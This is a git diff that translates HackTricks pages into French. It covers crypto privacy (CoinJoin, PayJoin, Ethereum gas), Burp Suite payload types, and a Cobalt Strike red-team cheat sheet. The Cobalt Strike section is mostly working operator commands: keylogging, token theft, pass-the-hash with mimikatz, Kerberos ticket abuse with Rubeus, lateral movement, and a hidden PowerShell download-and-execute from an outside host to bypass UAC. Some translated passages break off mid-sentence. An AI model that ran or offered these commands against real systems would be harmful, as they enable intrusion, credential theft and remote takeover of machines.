+**CoinJoin** va **mélanger plusieurs transactions de différents utilisateurs en une seule** afin de rendre plus **difficile** pour un observateur de trouver **quelle entrée est liée à quelle sortie**.\ +Cela offre un nouveau niveau de confidentialité, cependant, **certaines** **transactions** où certains montants d'entrée et de sortie sont corrélés ou sont très différents du reste des entrées et sorties **peuvent encore être corrélées** par l'observateur externe. -Examples of (likely) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Des exemples d'identifiants de transactions CoinJoin (probables) sur la blockchain de Bitcoin sont `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. [**https://coinjoin.io/en**](https://coinjoin.io/en)\ -**Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash) **(the money is given from miners, so it jus appear in your waller).** +**Similaire à CoinJoin mais mieux et pour Ethereum, vous avez** [**Tornado Cash**](https://tornado.cash) **(l'argent est donné par les mineurs, donc il apparaît simplement dans votre portefeuille).** ## PayJoin -The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. - -PayJoin (also called pay-to-end-point or P2EP) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs** with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction: +Le type de CoinJoin discuté dans la section précédente peut être facilement identifié comme tel en vérifiant les sorties multiples avec la même valeur. +PayJoin (également appelé pay-to-end-point ou P2EP) est un type spécial de CoinJoin entre deux parties où une partie paie l'autre. La transaction **n'a alors pas les sorties multiples distinctives** avec la même valeur, et donc n'est pas clairement visible comme un CoinJoin à sortie égale. Considérez cette transaction: ``` 2 btc --> 3 btc 5 btc 4 btc ``` +Il est possible d'interpréter cette transaction comme une simple transaction payant quelque part avec de la monnaie restante (ignorons pour l'instant la question de savoir quelle sortie est un paiement et laquelle est un changement). Une autre façon d'interpréter cette transaction est que les 2 BTC en entrée appartiennent à un marchand et que les 5 BTC appartiennent à leur client, et que cette transaction implique que le client paie 1 BTC au marchand. Il n'y a aucun moyen de dire quelle de ces deux interprétations est correcte. Le résultat est une transaction de coinjoin qui rompt l'heuristique de propriété d'entrée commune et améliore la confidentialité, mais qui est également **indétectable et indiscernable de toute transaction bitcoin régulière**. -It could be interpreted as a simple transaction paying to somewhere with leftover change (ignore for now the question of which output is payment and which is change). Another way to interpret this transaction is that the 2 BTC input is owned by a merchant and 5 BTC is owned by their customer, and that this transaction involves the customer paying 1 BTC to the merchant. There is no way to tell which of these two interpretations is correct. The result is a coinjoin transaction that breaks the common-input-ownership heuristic and improves privacy, but is also **undetectable and indistinguishable from any regular bitcoin transaction**. +Si les transactions PayJoin devenaient même modérément utilisées, cela rendrait l'heuristique de propriété d'entrée commune complètement défectueuse en pratique. Comme elles sont indétectables, nous ne saurions même pas si elles sont utilisées aujourd'hui. Comme les entreprises de surveillance de transactions dépendent principalement de cette heuristique, depuis 2019, il y a une grande excitation autour de l'idée de PayJoin. -If PayJoin transactions became even moderately used then it would make the **common-input-ownership heuristic be completely flawed in practice**. As they are undetectable we wouldn't even know whether they are being used today. As transaction surveillance companies mostly depend on that heuristic, as of 2019 there is great excitement about the PayJoin idea. +# Bonnes pratiques de confidentialité Bitcoin -# Bitcoin Privacy Good Practices +## Synchronisation de portefeuille -## Wallet Synchronization +Les portefeuilles Bitcoin doivent obtenir des informations sur leur solde et leur historique. À la fin de 2018, les solutions les plus pratiques et les plus privées existantes sont d'utiliser un **portefeuille de nœud complet** (qui est maximale privé) et un **filtrage de bloc côté client** (qui est très bon). -Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** (which is maximally private) and **client-side block filtering** (which is very good). - -* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. -* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. +* **Nœud complet :** Les nœuds complets téléchargent l'intégralité de la blockchain qui contient toutes les [transactions](https://en.bitcoin.it/wiki/Transaction) sur la chaîne de blocs qui ont jamais eu lieu dans Bitcoin. Ainsi, un adversaire qui surveille la connexion Internet de l'utilisateur ne pourra pas savoir quelles transactions ou adresses l'utilisateur recherche. +* **Filtrage de bloc côté client :** Le filtrage de bloc côté client fonctionne en créant des **filtres** qui contiennent toutes les **adresses** pour chaque transaction dans un bloc. Les filtres peuvent tester si un **élément est dans l'ensemble** ; les faux positifs sont possibles mais pas les faux négatifs. Un portefeuille léger **téléchargerait** tous les filtres pour chaque **bloc** dans la **blockchain** et vérifierait les correspondances avec ses propres **adresses**. Les blocs qui contiennent des correspondances seraient téléchargés en entier depuis le réseau pair-à-pair, et ces blocs seraient utilisés pour obtenir l'historique et le solde actuel du portefeuille. ## Tor -Bitcoin network uses a peer-to-peer network, which means that other peers can learn your IP address. This is why it's recommend to **connect through Tor every time you want to interact with the bitcoin network**. +Le réseau Bitcoin utilise un réseau pair-à-pair, ce qui signifie que d'autres pairs peuvent apprendre votre adresse IP. C'est pourquoi il est recommandé de **se connecter via Tor chaque fois que vous voulez interagir avec le réseau Bitcoin**. -## Avoiding address reuse +## Éviter la réutilisation d'adresses -**Addresses being used more than once is very damaging to privacy because that links together more blockchain transactions with proof that they were created by the same entity**. The most private and secure way to use bitcoin is to send a brand **new address to each person who pays you**. After the received coins have been spent the address should never be used again. Also, a brand new bitcoin address should be demanded when sending bitcoin. All good bitcoin wallets have a user interface which discourages address reuse. +**La réutilisation d'adresses est très dommageable pour la confidentialité car cela relie plus de transactions blockchain avec la preuve qu'elles ont été créées par la même entité**. La façon la plus privée et la plus sûre d'utiliser Bitcoin est d'envoyer une **nouvelle adresse à chaque personne qui vous paie**. Après que les pièces reçues ont été dépensées, l'adresse ne doit jamais être réutilisée. De plus, une nouvelle adresse Bitcoin doit être demandée lors de l'envoi de Bitcoin. Tous les bons portefeuilles Bitcoin ont une interface utilisateur qui décourage la réutilisation d'adresses. -## Multiple transactions +## Transactions multiples -**Paying** someone with **more than one on-chain transaction** can greatly reduce the power of amount-based privacy attacks such as amount correlation and round numbers. For example, if the user wants to pay 5 BTC to somebody and they don't want the 5 BTC value to be easily searched for, then they can send two transactions for the value of 2 BTC and 3 BTC which together add up to 5 BTC. +**Payer** quelqu'un avec **plus d'une transaction sur la chaîne de blocs** peut grandement réduire la puissance des attaques de confidentialité basées sur le montant, telles que la corrélation des montants et les nombres ronds. Par exemple, si l'utilisateur veut payer 5 BTC à quelqu'un et qu'il ne veut pas que la valeur de 5 BTC soit facilement recherchée, il peut envoyer deux transactions pour la valeur de 2 BTC et 3 BTC qui ensemble s'élèvent à 5 BTC. -## Change avoidance +## Éviter le changement -Change avoidance is where transaction inputs and outputs are carefully chosen to not require a change output at all. **Not having a change output is excellent for privacy**, as it breaks change detection heuristics. +L'évitement du changement consiste à choisir soigneusement les entrées et les sorties de transaction pour ne pas nécessiter de sortie de changement du tout. **Ne pas avoir de sortie de changement est excellent pour la confidentialité**, car cela rompt les heuristiques de détection de changement. -## Multiple change outputs +## Sorties de changement multiples -If change avoidance is not an option then **creating more than one change output can improve privacy**. This also breaks change detection heuristics which usually assume there is only a single change output. As this method uses more block space than usual, change avoidance is preferable. +Si l'évitement du changement n'est pas une option, **la création de plus d'une sortie de changement peut améliorer la confidentialité**. Cela rompt également les heuristiques de détection de changement qui supposent généralement qu'il n'y a qu'une seule sortie de changement. Comme cette méthode utilise plus d'espace de bloc que d'habitude, l'évitement du changement est préférable. # Monero -When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void. +Lorsque Monero a été développé, le besoin béant d'**anonymat complet** était ce qu'il cherchait à résoudre, et dans une large mesure, il a comblé ce vide. # Ethereum -## Gas +## Gaz -Gas refers to the unit that measures the **amount** of **computational** **effort** required to execute specific operations on the Ethereum network. Gas refers to the **fee** required to successfully conduct a **transaction** on Ethereum. +Le gaz fait référence à l'unité qui mesure la **quantité d'effort de calcul** requise pour exécuter des opérations spécifiques sur le réseau Ethereum. Le gaz fait référence aux **frais** requis pour effectuer avec succès une **transaction** sur Ethereum. -Gas prices are denoted in **gwei**, which itself is a denomination of ETH - each gwei is equal to **0.000000001 ETH** (10-9 ETH). For example, instead of saying that your gas costs 0.000000001 ether, you can say your gas costs 1 gwei. The word 'gwei' itself means 'giga-wei', and it is equal to **1,000,000,000 wei**. Wei itself is the **smallest unit of ETH**. +Les prix du gaz sont exprimés en **gwei**, qui est lui-même une dénomination d'ETH - chaque gwei est égal à **0,000000001 ETH** (10-9 ETH). Par exemple, au lieu de dire que votre gaz coûte 0,000000001 ether, vous pouvez dire que votre gaz coûte 1 gwei. Le mot 'gwei' lui-même signifie 'giga-wei', et il est égal à **1 000 000 000 wei**. Wei lui-même est la **plus petite unité d'ETH**. -To calculate the gas that a transaction is going to cost read this example: +Pour calculer le gaz qu'une transaction va coûter, lisez cet exemple : -Let’s say Jordan has to pay Taylor 1 ETH. In the transaction the gas limit is 21,000 units and the base fee is 100 gwei. Jordan includes a tip of 10 gwei. - -Using the formula above we can calculate this as `21,000 * (100 + 10) = 2,310,000 gwei` or 0.00231 ETH. - -When Jordan sends the money, 1.00231 ETH will be deducted from Jordan's account. Taylor will be credited 1.0000 ETH. Miner receives the tip of 0.00021 ETH. Base fee of 0.0021 ETH is burned. - -Additionally, Jordan can also set a max fee (`maxFeePerGas`) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed. - -As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. - -## Transactions - -Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**.\ -**Smart Contracts** are stored in the distributed ledger via a **special** **transaction**. - -Transactions, which change the state of the EVM, need to be broadcast to the whole network. Any node can broadcast a request for a transaction to be executed on the EVM; after this happens, a **miner** will **execute** the **transaction** and propagate the resulting state change to the rest of the network.\ -Transactions require a **fee** and must be mined to become valid. - -A submitted transaction includes the following information: - -* `recipient` – the receiving address (if an externally-owned account, the transaction will transfer value. If a contract account, the transaction will execute the contract code) -* `signature` – the identifier of the sender. This is generated when the sender's private key signs the transaction and confirms the sender has authorised this transaction -* `value` – amount of ETH to transfer from sender to recipient (in WEI, a denomination of ETH) -* `data` – optional field to include arbitrary data -* `gasLimit` – the maximum amount of gas units that can be consumed by the transaction. Units of gas represent computational steps -* `maxPriorityFeePerGas` - the maximum amount of gas to be included as a tip to the miner -* `maxFeePerGas` - the maximum amount of gas willing to be paid for the transaction (inclusive of `baseFeePerGas` and `maxPriorityFeePerGas`) - -Note that there isn't any field for the origin address, this is because this can be extrapolated from the signature. - -# References - -* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake) -* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Supposons que Jordan doit payer à Taylor 1 ETH. Dans la transaction, la limite de gaz est de 21 000 unités et le tarif de base est de 100 gwei. Jordan inclut un pourboire de 10 gwei. +En utilisant la formule ci-dessus, nous pouvons calculer cela comme `21 000 * (100 + 10) = 2 310 000 gwei` ou 0,00231 ETH. +Lorsque Jordan envoie l'argent, 1,00231 ETH seront déduits du compte de Jordan. Taylor sera crédité de 1,0000 ETH. Le mineur reçoit le pourboire de 0,00021 ETH. Les frais de base de 0 diff --git a/burp-suite.md b/burp-suite.md index 60d6a270a..116aaded9 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -1,51 +1,30 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Basic Payloads +# Charges utiles de base -* **Simple List:** Just a list containing an entry in each line -* **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists. -* **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. -* **Numbers:** Generate numbers from X to Y using Z step or randomly. -* **Brute Forcer:** Character set, min & max length. +* **Liste simple :** Juste une liste contenant une entrée dans chaque ligne +* **Fichier d'exécution :** Une liste lue en temps d'exécution (non chargée en mémoire). Pour prendre en charge les grandes listes. +* **Modification de cas :** Appliquer des modifications à une liste de chaînes (pas de changement, en minuscules, en MAJUSCULES, en nom propre - première lettre en majuscule et le reste en minuscules -, en nom propre - première lettre en majuscule et le reste reste le même -. +* **Nombres :** Générer des nombres de X à Y en utilisant un pas Z ou de manière aléatoire. +* **Brute Forcer :** Ensemble de caractères, longueur minimale et maximale. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Charge utile pour exécuter des commandes et récupérer la sortie via des requêtes DNS à burpcollab. {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/c2/cobalt-strike.md b/c2/cobalt-strike.md index d0c3e70ae..70b3f5805 100644 --- a/c2/cobalt-strike.md +++ b/c2/cobalt-strike.md @@ -2,216 +2,108 @@ ### Listeners -### C2 Listeners +### Écouteurs C2 -`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more. +`Cobalt Strike -> Listeners -> Ajouter/Modifier` puis vous pouvez sélectionner où écouter, quel type de beacon utiliser (http, dns, smb...) et plus encore. -### Peer2Peer Listeners +### Écouteurs Peer2Peer -The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons. +Les beacons de ces écouteurs n'ont pas besoin de communiquer directement avec le C2, ils peuvent communiquer avec lui via d'autres beacons. -`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons +`Cobalt Strike -> Listeners -> Ajouter/Modifier` puis vous devez sélectionner les beacons TCP ou SMB -* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect ` from another beacon -* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`. +* Le **beacon TCP va définir un écouteur sur le port sélectionné**. Pour se connecter à un beacon TCP, utilisez la commande `connect ` depuis un autre beacon +* Le **beacon smb va écouter dans un pipename avec le nom sélectionné**. Pour vous connecter à un beacon SMB, vous devez utiliser la commande `link [target] [pipe]`. -### Generate & Host payloads +### Générer et héberger des payloads -#### Generate payloads in files +#### Générer des payloads dans des fichiers -`Attacks -> Packages ->` +`Attaques -> Packages ->` -* **`HTMLApplication`** for HTA files -* **`MS Office Macro`** for an office document with a macro -* **`Windows Executable`** for a .exe, .dll orr service .exe -* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs) +* **`HTMLApplication`** pour les fichiers HTA +* **`Macro MS Office`** pour un document office avec une macro +* **`Exécutable Windows`** pour un .exe, .dll ou service .exe +* **`Exécutable Windows (S)`** pour un **stageless** .exe, .dll ou service .exe (mieux vaut stageless que staged, moins d'IoC) -#### Generate & Host payloads +#### Générer et héberger des payloads -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python +`Attaques -> Web Drive-by -> Scripted Web Delivery (S)` Cela générera un script/exécutable pour télécharger le beacon de cobalt strike dans des formats tels que: bitsadmin, exe, powershell et python -#### Host Payloads +#### Héberger des payloads -If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config. +Si vous avez déjà le fichier que vous voulez héberger dans un serveur web, allez simplement à `Attaques -> Web Drive-by -> Host File` et sélectionnez le fichier à héberger et la configuration du serveur web. -### Beacon Options +### Options de Beacon -
# Execute local .NET binary
+
# Exécuter un binaire .NET local
 execute-assembly </path/to/executable.exe>
 
-# Screenshots
-printscreen    # Take a single screenshot via PrintScr method
-screenshot     # Take a single screenshot
-screenwatch    # Take periodic screenshots of desktop
-## Go to View -> Screenshots to see them
+# Captures d'écran
+printscreen    # Prendre une capture d'écran unique via la méthode PrintScr
+screenshot     # Prendre une capture d'écran unique
+screenwatch    # Prendre des captures d'écran périodiques du bureau
+## Aller dans Affichage -> Captures d'écran pour les voir
 
 # keylogger
 keylogger [pid] [x86|x64]
-## View > Keystrokes to see the keys pressed
+## Afficher > Frappes de clavier pour voir les touches pressées
 
 # portscan
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
-portscan [targets] [ports] [arp|icmp|none] [max connections]
+portscan [pid] [arch] [cibles] [ports] [arp|icmp|none] [max connections] # Injecter une action de portscan dans un autre processus
+portscan [cibles] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Import Powershell module
+# Importer un module Powershell
 powershell-import C:\path\to\PowerView.ps1
 powershell <just write powershell cmd here>
 
-# User impersonation
-## Token generation with creds
-make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token generated with make_token
-## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
+# Impersonation d'utilisateur
+## Génération de jeton avec des informations d'identification
+make_token [DOMAIN\user] [password] #Créer un jeton pour se faire passer pour un utilisateur dans le réseau
+ls \\computer_name\c$ # Essayer d'utiliser le jeton généré pour accéder à C$ sur un ordinateur
+rev2self # Arrêter d'utiliser le jeton généré avec make_token
+## L'utilisation de make_token génère l'événement 4624: Une session a été ouverte pour un compte. Cet événement est très courant dans un domaine Windows, mais peut être affiné en filtrant sur le type de connexion. Comme mentionné ci-dessus, il utilise LOGON32_LOGON_NEW_CREDENTIALS qui est de type 9.
 
-# UAC Bypass
+# Contournement de l'UAC
 elevate svc-exe <listener>
 elevate uac-token-duplication <listener>
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
-## Steal token from pid
-## Like make_token but stealing the token from a process
-steal_token [pid] # Also, this is useful for network actions, not local actions
-## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token from steal_token
+## Voler le jeton d'un pid
+## Comme make_token mais en volant le jeton d'un processus
+steal_token [pid] # Aussi, cela est utile pour les actions réseau, pas pour les actions locales
+## À partir de la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son jeton actuel". C'est pourquoi la sortie de Beacon dit Impersonated <current_username> - il se fait passer pour notre propre jeton cloné.
+ls \\computer_name\c$ # Essayer d'utiliser le jeton généré pour accéder à C$ sur un ordinateur
+rev2self # Arrêter d'utiliser le jeton volé avec steal_token
 
-## Launch process with nwe credentials
-spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
-## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE).  It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
+## Lancer un processus avec de nouvelles informations d'identification
+spawnas [domain\username] [password] [listener] #Faites-le à partir d'un répertoire avec un accès en lecture comme: cd C:\
+## Comme make_token, cela générera l'événement Windows 4624: Une session a été ouverte pour un compte, mais avec un type de connexion de 2 (LOGON32_LOGON_INTERACTIVE). Il détaillera l'utilisateur appelant (TargetUserName) et l'utilisateur usurpé (TargetOutboundUserName).
 
-## Inject into process
+## Injecter dans un processus
 inject [pid] [x64|x86] [listener]
-## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
-
-## Pass the hash
-## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
-pth [pid] [arch] [DOMAIN\user] [NTLM hash]
-pth [DOMAIN\user] [NTLM hash]
-
-## Pass the hash through mimikatz
-mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
-steal_token <pid> #Steal token from process created by mimikatz
-
-## Pass the ticket
-## Request a ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
-make_token <domain>\<username> DummyPass
-## Write the ticket in the attacker machine from a poweshell session & load it
-[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
-kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
-
-## Pass the ticket from SYSTEM
-## Generate a new process with the ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
-## Steal the token from that process
-steal_token <pid>
-
-## Extract ticket + Pass the ticket
-### List tickets
-execute-assembly C:\path\Rubeus.exe triage
-### Dump insteresting ticket by luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### Create new logon session, note luid and processid
-execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
-### Insert ticket in generate logon session
-execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### Finally, steal the token from that new process
-steal_token <pid>
-
-# Lateral Movement
-## If a token was created it will be used
-jump [method] [target] [listener]
-## Methods:
-## psexec                    x86   Use a service to run a Service EXE artifact
-## psexec64                  x64   Use a service to run a Service EXE artifact
-## psexec_psh                x86   Use a service to run a PowerShell one-liner
-## winrm                     x86   Run a PowerShell script via WinRM
-## winrm64                   x64   Run a PowerShell script via WinRM
-
-remote-exec [method] [target] [command]
-## Methods:
-## psexec                          Remote execute via Service Control Manager
-## winrm                           Remote execute via WinRM (PowerShell)
-## wmi                             Remote execute via WMI
-
-## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
-beacon> upload C:\Payloads\beacon-smb.exe
-beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
-
-
-# Pass session to Metasploit - Through listener
-## On metaploit host
-msf6 > use exploit/multi/handler
-msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
-msf6 exploit(multi/handler) > set LHOST eth0
-msf6 exploit(multi/handler) > set LPORT 8080
-msf6 exploit(multi/handler) > exploit -j
-
-## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
-beacon> spawn metasploit
-## You can only spawn x86 Meterpreter sessions with the foreign listener.
-
-# Pass session to Metasploit - Through shellcode injection
-## On metasploit host
-msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
-## Run msfvenom and prepare the multi/handler listener
-
-## Copy bin file to cobalt strike host
-ps
-shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
-
-# Pass metasploit session to cobalt strike
-## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
-## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
-
-
-# Pivoting
-## Open a socks proxy in the teamserver
-beacon> socks 1080
-
-# SSH connection
-beacon> ssh 10.10.17.12:22 username password
